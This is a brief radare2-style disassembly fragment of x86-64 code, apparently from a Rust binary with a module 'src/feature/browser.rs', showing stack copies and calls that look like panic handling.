movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rsp + 0x521]
movups xmm1, xmmword [rsp + 0x531]
movups xmm2, xmmword [rsp + 0x541]
movups xmm3, xmmword [rsp + 0x550]
movups xmmword [rsp + 0x151], xmm0
movups xmmword [rsp + 0x161], xmm1
movups xmmword [rsp + 0x171], xmm2
movups xmmword [rsp + 0x180], xmm3
mov byte [rsp + 0x150], al
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140290938]
lea r9, [0x1402909a8]
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.14028eff0
mov qword [rsi + 0x40], rcx
jmp 0x140006111
mov qword [rdi + 0x40], rcx
jmp 0x140006111
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400069bf
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140290938]
lea r9, [0x1402909c8]
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.14028eff0
int3